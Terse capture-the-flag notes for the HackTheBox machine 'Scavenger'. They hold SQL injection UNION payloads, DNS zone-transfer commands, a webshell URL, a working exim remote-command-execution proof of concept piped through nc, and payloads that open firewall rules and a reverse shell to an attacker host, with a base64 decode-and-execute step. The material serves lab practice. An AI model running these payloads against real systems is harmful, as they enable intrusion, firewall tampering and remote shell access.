Scavenger @ HackTheBox

Scavenger is a 40 Point machine on hackthebox that involves a lot of enumeration, a SQL injection, and in my video, an unintended root by exploiting exim.

Notes

SQL injection:

') UNION (SELECT (SELECT GROUP_CONCAT(table_schema, table_name  SEPARATOR " | ") FROM information_schema.tables where table_schema != "information_schema"), 2) #

') UNION (SELECT (SELECT GROUP_CONCAT(table_schema, table_name, column_name SEPARATOR " | ") FROM  information_schema.columns where table_schema != "information_schema"), 2) #

') UNION (SELECT (SELECT GROUP_CONCAT(id, domain SEPARATOR " / ") FROM  whois.customers), 2) #

Vhosts:

supersechosting.htb, justanotherblog.htb, pwnhats.htb, rentahacker.htb

Zonetransfer:

dig axfr @scavenger.htb supersechosting.htb
dig axfr @scavenger.htb justanotherblog.htb
dig axfr @scavenger.htb pwnhats.htb
dig axfr @scavenger.htb rentahacker.htb

Webshell:

http://sec03.rentahacker.htb/shell.php?hidden=dpkg+-l+|grep+exim

Exim PoC:

(sleep 0.1 ; echo HELO foo ; sleep 0.1 ; echo 'MAIL FROM:<>' ; sleep 0.1 ; echo 'RCPT TO:<${run{PAYLOAD}}@localhost>' ; sleep 0.1 ; echo DATA ; sleep 0.1 ; echo "Received: 1" ; echo "Received: 2" ;echo "Received: 3" ;echo "Received: 4" ;echo "Received: 5" ;echo "Received: 6" ;echo "Received: 7" ;echo "Received: 8" ;echo "Received: 9" ;echo "Received: 10" ;echo "Received: 11" ;echo "Received: 12" ;echo "Received: 13" ;echo "Received: 14" ;echo "Received: 15" ;echo "Received: 16" ;echo "Received: 17" ;echo "Received: 18" ;echo "Received: 19" ;echo "Received: 20" ;echo "Received: 21" ;echo "Received: 22" ;echo "Received: 23" ;echo "Received: 24" ;echo "Received: 25" ;echo "Received: 26" ;echo "Received: 27" ;echo "Received: 28" ;echo "Received: 29" ;echo "Received: 30" ;echo "Received: 31" ;echo "" ; echo "." ; echo QUIT) | nc 127.0.0.1 25

Exim payloads

/bin/sh -c "iptables -I INPUT 1 -j ACCEPT"
/bin/sh -c "iptables -I OUTPUT 1 -j ACCEPT"
/bin/sh -c "nc <lhost> 4141 -e /bin/sh"

Send exploit (hex encode payload, paste into PoC, then base64 encode everything and replace “payload” below):

echo+<payload>|base64+-d|sh